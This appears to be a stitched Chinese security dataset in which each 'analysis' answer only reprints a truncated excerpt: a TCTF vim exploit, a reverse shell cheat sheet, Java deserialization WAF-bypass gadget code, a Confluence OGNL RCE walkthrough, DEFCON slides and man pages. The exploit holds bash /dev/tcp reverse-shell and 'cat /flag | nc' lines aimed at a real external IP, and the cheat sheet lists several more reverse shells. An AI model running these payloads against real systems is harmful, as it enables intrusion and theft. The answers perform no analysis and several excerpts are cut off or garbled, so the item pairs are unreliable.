self.request.recv(1024); print data; cmd = data[0:4]; self.log.debug('%s: %s', self.client_address, data.strip()); # we really not have to handle all ftp protocol and check states like fsm # let client think that auth realy needed and there is real ftp if cmd == 'PORT': port_data = data[4:].strip().split(','); try: # extract port number port = int(port_data[4]) << 8 | int(port_data[5]); except: self.log.error('%s: Invalid reply received', self.client_address); # check if there is not NAT or # nf_nat_ftp converted internal fake ip to external #if ('.'.join(port_data[0", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nTCTF 2019 TCTF 2019 PWN vim zerotask plang Reverse Elements Fixed Point sanitize Web Ghost Pepper Wallbreaker Easy Crypto babyrsa MISC flropyd Neuron Break http://ctf.0ops.sjtu.cn/ 23 March 2019, 06:00 UTC 25 March 2019, 06:00 UTC Nu1L PWN vim a stepperm_state_Tbuffer freegotbufferfreegot system from pwn import * from hashlib import sha256 import string import sys system = 0x004C9163 free_got = 0x8a8238 # cmd = \"bash -c 'bash&>/dev/tcp/111.230.94.113/6666<&1';\" # # cmd = 'cat /flag | nc 111.230.94.113 88;'.ljust(0x4f) + p64(system) # cmd = \"echo 1 | nc 111.230.94.113 88\\x00\".ljust(0x2f) + p64(system) # cmd += p64(0x4036b0) + p64(0x4036c0) + p64(0x4036d0) + p64(0x4036e0) + p64(0x4036f0) + \"\\x00\" # cmd = cmd.ljust(0x82-0x20) # cmd = cmd[::-1] # context.endian = 'big' # ss = 'VimCrypt~04!\\xff\\xff\\xff\\x9e0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLM NOP' # ss = ss.replace('lmnopqrs',p64(free_got-0x30)) # ss = ss.replace('tu','\\x73u') # for i in cmd: # ss += i # for i in range(0x26,0x30): # ss += chr(i) # ss = ss.ljust(0x300) # for i in range(0,0x21): # ss += chr(i) # for i in cmd: # ss += i # for i in range(0x83,0xff): # ss += chr(i) # ss = ss.replace('\\xb6',' ') # ss += '.' # ss = ss.replace('d8d9dadbdcdddedf'.decode('hex'),p64(free_got-0x30)) # second cmd = \"bash -c 'bash&>/dev/tcp/111.230.94.113/66<&1';\" # cmd = ';cat /f* | nc 111.230.94.113 88\\x00' + p32(system)*2 # cmd = cmd.ljust(0x26+10,\"\\x00\")[::-1] free_got = 0x8a8238 system = 0x004C9163 context.endian = 'big' ss = 'VimCrypt~04!\\xff\\xff\\xff\\x9e0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLM NOP' ss = ss.replace('lmnopqrs',p64(free_got-0x30)) ss = ss.replace('tu','\\x7cu') # for i in cmd: # ss += i for i in range(0+6,0x12): ss += chr(i) cmd = cmd.ljust(0x41-0x12,'A') print 'exec cmd,',cmd cmd = cmd[::-1] for i in cmd: ss += i ss = ss.ljust(0x8f,' ') print hex(len(ss)) ss = ss.replace('\\n\\x0b\\x0c\\r\\x0e\\x0f\\x10\\x11',p64(system)) eee = ss open('test','wb').write(ss) # sys.exit(0) # 111.186.63.13:10001 sset = str", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n一个简单的调用例子 注意: 不要启动多个ksubdomainksubdomain启动一个就可以发挥最大作用 可以看到调用很简单就是填写 options 参数然后调用runner启动就好了重要的是options填什 么 options的参数结构 package main import ( \"context\" \"github.com/boy-hack/ksubdomain/core/gologger\" \"github.com/boy-hack/ksubdomain/core/options\" \"github.com/boy-hack/ksubdomain/runner\" \"github.com/boy-hack/ksubdomain/runner/outputter\" \"github.com/boy-hack/ksubdomain/runner/outputter/output\" \"github.com/boy-hack/ksubdomain/runner/processbar\" \"strings\" ) func main() { process := processbar.ScreenProcess{} screenPrinter, _ := output.NewScreenOutput(false) domains := []string{\"www.hacking8.com\", \"x.hacking8.com\"} opt := &options.Options{ Rate: options.Band2Rate(\"1m\"), Domain: strings.NewReader(strings.Join(domains, \"\\n\")), DomainTotal: 2, Resolvers: options.GetResolvers(\"\"), Silent: false, TimeOut: 10, Retry: 3, Method: runner.VerifyType, DnsType: \"a\", Writer: []outputter.Output{ screenPrinter, }, ProcessBar: &process, EtherInfo: options.GetDeviceConfig(), } opt.Check() r, err := runner.New(opt) if err != nil { gologger.Fatalf(err.Error()) } ctx := context.Background() r.RunEnumeration(ctx) r.Close() } type Options struct { Rate int64 // 每秒发包速率 Domain io.Reader // 域名输入 1. ksubdomain底层接口只是一个dns验证器如果要通过一级域名枚举需要把全部的域名都放入 Domain 字段中可以看enum参数是怎么写的 cmd/ksubdomain/enum.go 2. Write参数是一个outputter.Output接口用途是如何处理DNS返回的接口ksubdomain已经内 置了三种接口在 runner/outputter/output 中主要作用是把数据存入内存数据写入文件数 据打印到屏幕可以自己实现这个接口实现自定义的操作 3. ProcessBar参数是一个processbar.ProcessBar接口主要用途是将程序内 成功个数 发送个数 队列数 接收数 失败数 耗时 传递给用户实现这个参数可以时时获取这些 4. EtherInfo是*device.EtherTable类型用来获取网卡的信息一般用函数 options.GetDeviceConfig() 即可自动获取网卡配置 DomainTotal int // 扫描域名总数 Resolvers []string // dns resolvers Silent bool // 安静模式 TimeOut int // 超时时间 单位(秒) Retry int // 最大重试次数 Method string // verify模式 enum模式 test模式 DnsType string // dns类型 a ns aaaa Writer []outputter.Output // 输出结构 ProcessBar processbar.ProcessBar EtherInfo *device.EtherTable // 网卡信息 }", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n.\\\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH \"DROP AGGREGATE\" \"7\" \"2003-11-02\" \"SQL - Language Statements\" \"SQL Commands\" .SH NAME DROP AGGREGATE \\- 删除一个用户定义的聚集函数 .SH SYNOPSIS .sp .nf DROP AGGREGATE \\fIname\\fR ( \\fItype\\fR ) [ CASCADE | RESTRICT ] .sp .fi .SH \"DESCRIPTION 描述\" .PP \\fBDROP AGGREGATE\\fR 将删除一个现存聚集函数 执行这条命令的用户必须是该聚集函数的所有者 .SH \"PARAMETERS 参数\" .TP \\fB\\fIname\\fB\\fR 现存的聚集函数名可以有模式修饰 .TP \\fB\\fItype\\fB\\fR 聚集函数的输入数据类型或者 * 如果这个聚集函数接受任意输入类型 .TP \\fBCASCADE\\fR 自动删除依赖于这个聚集的对象 .TP \\fBRESTRICT\\fR 如果有任何依赖对象则拒绝删除这个聚集这是缺省 .SH \"EXAMPLES 例子\" .PP 将类型 integer 的聚集函数 myavg 删除 .sp .nf DROP AGGREGATE myavg(integer); .sp .fi .SH \"COMPATIBILITY 兼容性\" .PP 在 SQL 标准中没有 DROP AGGREGATE 语句 .SH \"SEE ALSO 参见\" ALTER AGGREGATE [\\fBalter_aggregate\\fR(7)], CREATE AGGREGATE [\\fBcreate_aggregate\\fR(l)] .SH \"译者\" .B Postgresql 中文网站 .B 何伟平 ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nDEFCON 16: How to evade geospatial intrusion detection techniques Ryan W. Trost Agenda GIS Geospatial Intrusion Detection implementations Geospatial Intrusion Detection methodology Accuracy of IP -> lat/long translation Okayso how do I beat it? Q&A 2 GIS GIS (Geographic Information Systems): computer based methodology to collect, store, manipulate, retrieve, display and analyze georeferenced data. GoogleEarth ESRI Intergraph GRASS 3 GIS Traditional GIS tools focused more on environmental issues These days thanks to GoogleEarth and/or GoogleMaps the average Internet user is starting to be exposed to the power that mapping software unleashes. Track a cell phone (cell tower triangulation) Track flights in mid-air!!! 4 Cell Phone 5 Track Any Flight 6 Multiple security firms have implemented GIS tools in their products (in varying degrees) MeerCat (Secure Decisions) VisCat (ETRI) GeoSWAT 7 Where has IT security and mapping collided? 8 MeerCat Image Courtesy: John Goodall Secure Decisions 07/06/08 9 VizCat 10 GeoSWAT Geospatial Intrusion Detection Goal: find a direct correlation between externally based network alerts by plotting their source locations on a geographic map 11 How does it work? High-level roadmap: 1. Plot rolling time period (1 week/2 weeks/4 weeks) 2. Eliminate friendlies to reduce IDS false positives 2.1 Geographically plot remote branches, SOHO, business partners locations by street address (very accurate in GoogleEarth) 2.2 Create an IDS alert that is triggered when a customer authenticates to a website 12 Geospatial Intrusion Detection 3. Run a clustering algorithm on plotted data There are several different clustering algorithms to choose from: Poisson, nearest-neighbor, Morans I Index, Ripleys K Function, Getis-Ord 4. Extract network alerts within identified hot- spot 5. Run a weight calculating algorithm to evaluate if there is a relationship between alerts Correlating elements in an alert Alert severity Destination ports ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nHacking SQL Injection for Remote Code Execution on a LAMP stack. Lance Buttars aka Nemus Updated Slides @ https://www.introtobackdoors.com Who am I? Just some guy who likes computer security. Twitter @Nemus801 I work as a PHP/Python application programmer. I am a member of the local Defcon Group www.dc801.org Freenode #dc801. I help organize and run 801 Labs which is a hackerspace located in downtown Salt Lake City. 801 Labs Hacker Space www.801labs.org Websecurity Warriors Podcast http://websecuritywarriors.com/ Prerequisites Familiarity with Linux, Apache, MySQL, PHP (LAMP). Linux Operating Systems CLI SQL Databases and Basic SQL http://www.w3schools.com/sql/sql_intro.asp Apache Servers. Basic PHP knowledge. Understanding of HTTP POST and GET http://www.w3schools.com/tags/ref_httpmethods.asp LAMP Setup https://www.digitalocean. com/community/tutorials/how-to-install-linux-apache- mysql-php-lamp-stack-on-ubuntu Why Study Attacks? The best defense is a good offense. By understanding how SQLi attacks work one can understand what to look for when they believe a web server has been compromised or tampered with. By studying attacks it becomes clear how to identify the weak points of a web application's overall architecture. What is SQL Injection? SQL injection is a code injection technique used to attack an application by sending input from a user defined source that is later interpreted and executed by the SQL database. SQL injection attacks work because the input taken from the user input is combined unfiltered or filtered poorly with a SQL statements that is passed to the database that allows the form user to manipulate the query. Scenario Through the point of view of an attacker this presentation will demonstrate the discovery of a SQLi vulnerability, the damaging effect it can cause, and how an attacker could gain Remote Code Execution (RCE). Steps 1. Identify the vulnerability. 2. Fingerprint server. 3. Enumerate data from the database. 4. Upload a bac", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n.\\\" Date: Fri, 11 Sep 1998 19:13:45 +0100 .\\\" From: Edward Betts .\\\" Chinese Version Copyrighted Scorpino, www.linuxforum.net 2000 .\\\" Derived from the GNU diff info page. .\\\" May be distributed under the GPL. .TH DIFF 1 \"22sep1993\" \"GNU Tools\" \"GNU Tools\" .SH NAME diff \\- 找出两个文件的不同点 .SH 总览 .B diff [选项] 源文件 目标文件 .SH 描述 在最简单的情况是, .I diff 比较两个文件的内容 .I 源文件 和 .IR 目标文件 . 文件名可以是 .B \\- 由标准输入设备读入的文本. 作为特别的情况是, .B \"diff \\- \\-\" 比较一份标准输入的它自己的拷贝 如果 .I 源文件 是一个目录和 .I 目标文件 不是目录, .I diff 会比较在 .I 源文件目录 里的文件的中和 .IR 目标文件同名的文件, 反过来也一样. 非目录文件不能是 .BR \\- . 如果 .I 源文件 和 .I 目标文件 都是目录, .I diff 比较两个目录中相应的文件 依照字母次序排序这个比较是不会递归的除非给出 .B \\-r 或者 .B \\-\\-recursive. .I diff 不把一个目录的内容看为它是一个文件来比较被指定的文件不 能是标准的输入, 因为标准的输入是无名的并且有一样的名字的文 件的观点不适用 .B diff 的选项由 .BR \\- , 开始 所以正常地 .I 源文件名 和 .I 目标文件名 不可以用 .BR \\- 开头. 然而, .B \\-\\- 可以被它视为保留的即使作为文件名的开头 they begin with .BR \\- . .SS 选项 下面是 GNU所接受的 .I diff 的所有选项的概要. 大多数的选项有两个相同的名字,一个是单个的 跟在 .BR \\- 后面字母, 另一个是由 .BR \\-\\- 引出的长名字. 多个单字母选项除非它们产生歧义能够组合为单行的命令行语法 .B \\-ac 是等同于 .BR \"\\-a \\-c\" . 长命名的选项能被缩短到他们的名字的任何唯一的前缀. 用 .RB ( [ 和 .BR ] ) 括起来显示选项产生歧义的选项 .TP .BI \\- 行数一个整数 显示上下文 .I 行数 (一个整数). 这个选项自身没有指定输出格式这是没有效果的除非和 .B \\-c 或者 .BR \\-u 组合使用. 这是已废置的选项对于正确的操作, 上下文至少要有两行 .TP .B \\-a 所有的文件都视为文本文件来逐行比较甚至他们似乎不是文本文件. .TP .B \\-b 忽略空格引起的变化. .TP .B \\-B 忽略插入删除空行引起的变化. .TP .B \\-\\-brief 仅报告文件是否相异,在乎差别的细节. .TP .B \\-c 使用上下文输出格式. .TP .BI \"\\-C \" 行数一个整数 .br .ns .TP .BI \\-\\-context[= lines ] 使用上下文输出格式显示以指定 .I 行数 (一个整数), 或者是三行当 .I 行数 没有给出时. 对于正确的操作, 上下文至少要有两行. .TP .BI \\-\\-changed\\-group\\-format= format 使用 .I format 输出一组包含两个文件的不同处的行其格式是 if\\-then\\-else . .TP .B \\-d 改变算法也许发现变化的一个更小的集合.这会使 .I diff 变慢 (有时更慢). .TP .BI \"\\-D \" name 合并 if\\-then\\-else 格式输出, 预处理宏由name参数提供条件. .TP .B \\-e .br .ns .TP .B \\-\\-ed 输出为一个有效的 .I ed 脚本. .TP .BI \\-\\-exclude= pattern 比较目录的时候忽略和目录中与 .IR pattern 样式 相配的. .TP .BI \\-\\-exclude\\-from= file 比较目录的时候忽略和目录中与任何包含在 .IR file 文件 的样式相配的文件和目录. .TP .B \\-\\-expand\\-tabs 在输出时扩展tab为空格保护输入文件的tab对齐方式 .TP .B \\-f 产生一个很象 .I ed 脚本的输出但是但是在他们在文件出现的顺序有改变 .TP .BI \"\\-F \" regexp 在上下文和统一格式中对于每一大块的不同显示出匹配 .IR rege", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n6/25/11 Balancing the Pwn Trade Deficit Series: APT Secrets in Asia {Anthony Lai,Benson Wu,Jeremy Chiu} Xecure Founder and Researcher PK, Security Researcher 6/25/11 There is no national secret here We welcome spies and SS here. Spies/SS are human, too :) 6/25/11 Why we are here again Last year, Val Smith, Colin Ames and I (Anthony) have worked together on analyzing China-made malware, making first east-meets-west research and studies. We conCnue this effort. This year, we have dealt with many targeted aFack cases, we would like to share the case studies with you and the correlaCon analysis with my Taiwanese research fellows. We are happy about this presentaCon is accepted in first- round selecCon of DEFCON 19, however, it is rejected in Blackhat with reviewer comment: We are curious about your automated analysis. - Thank you for their comment ;-) 6/25/11 Who we are? Anthony Lai (a.k.a Darkfloyd) He works on code audit, penetraCon test, crime invesCgaCon and threat analysis and acted as security consultant in various MNCs. His interest falls on studying exploit, reverse engineering, analyse threat and join CTFs, it would be nice to keep going and boost this China-made security wind in malware analysis and advanced persistent threat areas. He found security research group called VXRL in Hong Kong and has been working as visiCng lecturer in HK Polytechnic University on hacking course :) Spoken at Blackhat USA 2010, DEFCON 18 and Hack In Taiwan 2010/2011 6/25/11 Benson Wu He currently works as Postdoctoral Researcher from Research Center for Information Technology Innovation at Academia Sinica in Taiwan. He focuses research on malware and threat analysis, code review, secure coding and SDLC process implementation. He graduated from National Taiwan University with PhD degree in Electrical Engineering. He had spoken at NIST SATE 2009, DEFCON 18 (with Birdman), OWASP China 2010, and wrote the \"Web Application Security Guideline\" for the Taiwan government. 6/25/11 ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nCCD CoE February 9, 2011 Sun Tzu and Cyber War Kenneth Geers Naval Criminal Investigative Service (NCIS) Cooperative Cyber Defence Centre of Excellence (CCD COE) Tallinn, Estonia Abstract Cyberspace is a new warfare domain. Computers and the in- formation they contain are prizes to be won during any military conflict. But the intangible nature of cyberspace can make vic- tory, defeat, and battle damage difficult to calculate. Military leaders today are looking for a way to understand and manage this new threat to national security. The most influential mili- tary treatise in history is Sun Tzus Art of War: its recommen- dations are flexible and have been adapted to new circumstanc- es for over 2,500 years. This article examines whether Art of War is flexible enough to encompass cyber warfare. It con- cludes that Sun Tzu provides a useful but far from perfect framework for the management of cyber war, and urges modern military strategists to consider the distinctive aspects of the cyber battlefield. What is Cyber Warfare? The Internet, in a technical sense, is merely a large collection of networked computers. Humans, however, have grown dependent on cyberspace: the flow of information and ideas that they receive from the Internet on a continu- al basis, and immediately incorporate into their lives. As our dependence upon the Internet grows, what hackers think of as their potential attack surface expands. The governance of national security and international conflict is no different: political and military adversaries now routinely use and abuse com- puters in support of strategic and tactical objectives. In the early 1980s, Soviet thinkers referred to this as the Military Technological Revolution (MTR); fol- CCD CoE February 9, 2011 lowing the 1991 Gulf War, the Pentagons Revolution in Mil- itary Affairs (RMA) was practically a household term (Mish- ra, 2003). Cyber attacks first and foremost exploit the power and reach of the Internet: since the earliest days of t", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nWeb2Own ATTACKING DESKTOP APPS FROM WEB SECURITY'S PERSPECTIVE Who are we 9aX.TgUh LYbWYbhKYWifhmPiUbkiEUV FYaVYf cZ)cdg1 Gbps HSPA LTE LTE-A 9 9/6/2016 3:01:55 PM 探索一切攻破一切 | [ Hacker@KCon ] 空闲态移动性 小区重选 数据业务移动性 LTE与3G LTE与2G 语音回落CS Fall Back 回落到3G 回落到2G 为了提高用户使用感受用户优选LTE网络驻留但LTE网络覆盖范围小于2G/3G网络因此需要进行 LTE与2G/3G网络的系统间互操作 保证用户在LTE与2G/3G网络之间移动时的数据业务连续性 由于LTE不支持CS域因此CS业务需要回落到2G/3G网络承载 UE在LTE/2G/3G的无线网E-UTRA/GERAN/UTRA之间可以采用多种不同的互操作流程目前中 国移动采用2/4G互操作策略中国联通采用3/4G互操作策略 LTE网络 2G/3G网络 数据业务 空闲态 语音回落 LTE与2G3G的互操作 9/6/2016 3:01:54 PM 10 探索一切攻破一切 | [ Hacker@KCon ] 9/6/2016 3:01:54 PM Part. 02 LTE伪基站的实现 11 LTE伪基站的实现 1. LTE测试环境的搭建 2. LTE RRC重定向的实现 3. LTE小区重选Cell Reselection流程 9/6/2016 3:01:54 PM 12 探索一切攻破一切 | [ Hacker@KCon ] LTE测试环境的搭建 1. 硬件 1) 高性能PC 2) BladeRF或USRP B2x0天线 3) 测试用LTE手机 2. 软件 1) Linux 2) OpenAirInterface 3) 手机路测软件 9/6/2016 3:01:54 PM 13 探索一切攻破一切 | [ Hacker@KCon ] LTE RRC重定向redirectedCarrierInfo 1. redirectedCarrierInfo历史悠久始见于3G通信 标准 2. 应用广泛大量应用于LTE CSFB 3. 通信人所说的RRC重定向其", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Can You See It? Category: Misc., 40 Points ## Description > All we got is this video. > > Can you please help? > > Good Luck! A video was attached. ## Solution Playing the video, we get a quick flickering of background colors. We can extract a portion to a GIF file as a demonstration: ```console root@kali:/media/sf_CTFs/checkpoint/Can_You_See_It/Can_You_See_It# ffmpeg -i Can_You_See_It.mp4 -ss 00:00:00 -to 00:00:03 can_you_see_it.gif ffmpeg version 4.1-1 Copyright (c) 2000-2018 the FFmpeg developers built with gcc 8 (Debian 8.2.0-12) configuration: --prefix=/usr --extra-version=1 --toolchain=hardened --libdir=/usr/lib/x86_64-linux-gnu --incdir=/usr/include/x86_64-linux-gnu --arch=amd64 --enable-gpl --disable-stripping --enable-avresample --disable-filter=resample --enable-avisynth --enable-gnutls --enable-ladspa --enable-libaom --enable-libass --enable-libbluray --enable-libbs2b --enable-libcaca --enable-libcdio --enable-libcodec2 --enable-libflite --enable-libfontconfig --enable-libfreetype --enable-libfribidi --enable-libgme --enable-libgsm --enable-libjack --enable-libmp3lame --enable-libmysofa --enable-libopenjpeg --enable-libopenmpt --enable-libopus --enable-libpulse --enable-librsvg --enable-librubberband --enable-libshine --enable-libsnappy --enable-libsoxr --enable-libspeex --enable-libssh --enable-libtheora --enable-libtwolame --enable-libvidstab --enable-libvorbis --enable-libvpx --enable-libwavpack --enable-libwebp --enable-libx265 --enable-libxml2 --enable-libxvid --enable-libzmq --enable-libzvbi --enable-lv2 --enable-omx --enable-openal --enable-opengl --enable-sdl2 --enable-libdc1394 --enable-libdrm --enable-libiec61883 --enable-chromaprint --enable-frei0r --enable-libx264 --enable-shared libavutil 56. 22.100 / 56. 22.100 libavcodec 58. 35.100 / 58. 35.100 libavformat 58. 20.100 / 58. 20.100 libavdevice 58. 5.100 / 58. 5.100 libavfilter 7. 40.101 / 7. 40.101 libavresample 4. 0. 0 / 4. 0. 0 libswscale 5. 3.100 / 5. 3.100 libswresample 3. 3.100 / 3. 3.", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n@Y4tacker 对Java反序列化脏数据绕WAF新姿势的补 充 引 相信家都看过回忆飘如雪师傅的篇章Java反序列化数据绕WAF之加量脏数据 在这篇章当中师傅提出了通过将gadget加到集合类型从可以实现添加脏数据这我 发现了个新姿势 灵感也是来源于回忆飘如雪师傅的另篇章的个笔带过的问题上 这原本是师傅想来搞gadget探测的案但是却失败了但本着专研的匠精神我对这个 问题进了深的研究这顺便对这个问题解读 为什么这第个属性反序列化失败仍然触发了URLDNS的整个 过程 顺便这多提嘴为什么之后师傅提出的直接将URLDNS中的HashMap的键值对中将key 或者value任意替换个为需要探测的class就可以呢其实核原因在于是否能触发之后的 hash()函数 这我们调重点来讲好了我们来看看当产 ClassNotFoundException 后最终 在 java.io.ObjectInputStream#readSerialData ,在抛出异常之后他会去继续调 skipCustomData 这有个if判断概是判断当前是否还在块数据当中如果是跳到下个块数据当中每个 块分隔是通过0x78这个字节因为这个字节是个块的结尾 接下来是个switch循环通过下字节来判断这如果都不是则会直接对下段进反序 列化很神奇吧 因此现在我们就能解释为什么当初对于这段代码我们能够成功触发URLDNS的反序列化 过程呢没错就是上这张图他直接对下个块数据继续执反序列化因此对HashMap的 反序列化最终导致URLDNS完整触发 那么为什么这样却能实现需求呢 在这当调了 K key = (K) s.readObject(); 由于类不存在抛出异常之后继续对下 块数据进反序列化最终抛出异常后也不可能继续调下的 value = s.readObjet() 了更别谈通过hash函数最终触发URLDNS因此最终能够成功 List a = new LinkedList(); a.add(makeClass(\"TargetClass\")); a.add(new URLDNS.getObject(\"http://test.dnslog.cn\")); HashMap ht = new HashMap(); URL u = new URL(null, url, handler); ht.put(u,我是要探测的gadget); 灵感发 既然在抛出 ClassNotFoundException 后他还会去继续反序列化下块数据并且这是个 相当于while True的东西 那么我们是不是就可以这样疯狂套娃实现垃圾数据呢说就当然家别忘了引 javassist的依赖 简简单单对CommonsBeanutils1来发测试 public class Test { public static Class makeClass(String clazzName) throws Exception{ ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.makeClass(clazzName); Class clazz = ctClass.toClass(); ctClass.defrost(); return clazz; } 当然这还有个坑就是 家不要直接像这样之前makeClass是返回的Class默认是继承序列化借的这样就导致虽 然也能弹出计算器但只是因为linkedList对的元素循环遍历执readObject的结果不 是本篇提出的通过在ClassNotFoundException利skipCustomData后读取下块数据执反序 列化利的过程 public static void main(String[] args) throws Exception{ PriorityQueue priorityQueue = CB1.getObject(); LinkedList linkedList = new LinkedList(); StringBuilder sb = new StringBuilder(); for(int i=0;i<100;i++){ sb.append(\"e\"); linkedList.add(makeClass(\"woshijiad\"+sb)); } linkedList.add(priorityQueue); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Reverse Shell Cheat Sheet ## Summary * [Tools](#tools) * [Reverse Shell](#reverse-shell) * [Awk](#awk) * [Automatic Reverse Shell Generator](#revshells) * [Bash TCP](#bash-tcp) * [Bash UDP](#bash-udp) * [C](#c) * [Dart](#dart) * [Golang](#golang) * [Groovy Alternative 1](#groovy-alternative-1) * [Groovy](#groovy) * [Java Alternative 1](#java-alternative-1) * [Java Alternative 2](#java-alternative-2) * [Java](#java) * [Lua](#lua) * [Ncat](#ncat) * [Netcat OpenBsd](#netcat-openbsd) * [Netcat BusyBox](#netcat-busybox) * [Netcat Traditional](#netcat-traditional) * [NodeJS](#nodejs) * [OpenSSL](#openssl) * [Perl](#perl) * [PHP](#php) * [Powershell](#powershell) * [Python](#python) * [Ruby](#ruby) * [Socat](#socat) * [Telnet](#telnet) * [War](#war) * [Meterpreter Shell](#meterpreter-shell) * [Windows Staged reverse TCP](#windows-staged-reverse-tcp) * [Windows Stageless reverse TCP](#windows-stageless-reverse-tcp) * [Linux Staged reverse TCP](#linux-staged-reverse-tcp) * [Linux Stageless reverse TCP](#linux-stageless-reverse-tcp) * [Other platforms](#other-platforms) * [Spawn TTY Shell](#spawn-tty-shell) * [References](#references) ## Tools - [reverse-shell-generator](https://www.revshells.com/) - Hosted Reverse Shell generator ([source](https://github.com/0dayCTF/reverse-shell-generator)) - [revshellgen](https://github.com/t0thkr1s/revshellgen) - CLI Reverse Shell generator ## Reverse Shell ### Bash TCP ```bash bash -i >& /dev/tcp/10.0.0.1/4242 0>&1 0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196 /bin/bash -l > /dev/tcp/10.0.0.1/4242 0<&1 2>&1 ``` ### Bash UDP ```bash Victim: sh -i >& /dev/udp/10.0.0.1/4242 0>&1 Listener: nc -u -lvp 4242 ``` Don't forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash ### Socat ```powershell user@attack$ socat file:`tty`,raw,echo=0 TCP-L:4242 user@victim$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242 ``` ```powershell user@victim$ wget -q https://github.com/andrew-d", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nCVE-2022-26134 Confluence Server Data Center OGNL RCE 环境 windows server 2016 + Confluence 7.15.1 下载exe然后直接下一步下一步就行了 web在8090端口8000是rmi端口 安装试用版输入授权码即可 然后配置数据库 需要额外装一个pgsql创建一个名为confluence的数据库 接着选示范站点然后选在confluence中管理用户 配置管理员账号密码然后就安装完成了 分析 官方通告上写了用新的xwork-1.0.3-atlassian-10.jar替换老的xwork-1.0.3-atlassian-8.jar diff补丁发现 移除了 com.opensymphony.xwork.util.TextParseUtil#translateVariables 的调用跟进这个函 数发现这里是ognl表达式执行点 接下来分两部分来写这个洞 1. 正向数据流 2. 绕过沙箱 正向来看 断点打在 com.opensymphony.xwork.ActionChainResult#execute 然后看堆栈 在filter之后由 com.opensymphony.webwork.dispatcher.ServletDispatcher#service 做请求分发 getNameSpace从url中获取最后一个斜线之前的内容 然后走到 com.atlassian.confluence.servlet.ConfluenceServletDispatcher#serviceAction ConfluenceServletDispatcher是ServletDispatcher的子类 在serviceAction中先调用createActionProxy创建一个代理对象然后调用代理对象的execute函数在 代理对象中我们的payload保存至namespace字段 接着到 com.opensymphony.xwork.DefaultActionProxy#execute 这里继续调用 com.opensymphony.xwork.DefaultActionInvocation#invoke 其中this.interceptors是拦截器Confluence默认有28个 然后将自身this传递给 interceptor.intercept(this) 以 com.opensymphony.xwork.interceptor.AroundInterceptor 拦截器为例仍会调用 invocation.invoke() 以此形成迭代循环遍历所有拦截器在某些拦截器中会返回resultCode为notpermitted 在 confluence-7.15.1.jar!\\xwork.xml 中notpermitted对应的type是chain chain对应 com.opensymphony.xwork.ActionChainResult 然后接着执行 this.executeResult() 在executeResult中将this传递给 this.result.execute(this) 而 this.result 由 this.createResult() 创建而来在createResult中会根据resultCode来构建结果 其中notpermitted对应的result类为 com.opensymphony.xwork.ActionChainResult 所以会进入 com.opensymphony.xwork.ActionChainResult#execute 最后在这个地方有ognl从http的servlet path传递给了ognl执行造成rce 沙箱 v7.15开始Confluence在OGNL表达式解析时加入了沙箱设置在 com.opensymphony.xwork.util.TextParseUtil#translateVariables 调用ognl时使用findValue findValue中存在安全校验 黑名单 sun.misc.Unsafe classLoader java.lang.System java.lang.ThreadGroup com.opensymphony.xwork.ActionContext java.lang.Compiler com.atlassian.applinks.api.ApplicationLinkRequestFactory java.lang.Thread com.atlassian.core.util.ClassLoaderUtils java.lang.ProcessBuilder ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# 5. 替换空格 ## 题目链接 [牛客网](https://www.nowcoder.com/practice/0e26e5551f2b489b9f58bc83aa4b6c68?tpId=13&tqId=11155&tab=answerKey&from=cyc_github) ## 题目描述 将一个字符串中的空格替换成 \"%20\" ```text Input: \"A B\" Output: \"A%20B\" ``` ## 解题思路 ① 在字符串尾部填充任意字符使得字符串的长度等于替换之后的长度因为一个空格要替换成三个字符%20所以当遍历到一个空格时需要在尾部填充两个任意字符 ② 令 P1 指向字符串原来的末尾位置P2 指向字符串现在的末尾位置P1 和 P2 从后向前遍历当 P1 遍历到一个空格时就需要令 P2 指向的位置依次填充 02%注意是逆序的否则就填充上 P1 指向字符的值从后向前遍是为了在改变 P2 所指向的内容时不会影响到 P1 遍历原来字符串的内容 ③ 当 P2 遇到 P1 时P2 \\<= P1或者遍历结束P1 \\< 0退出

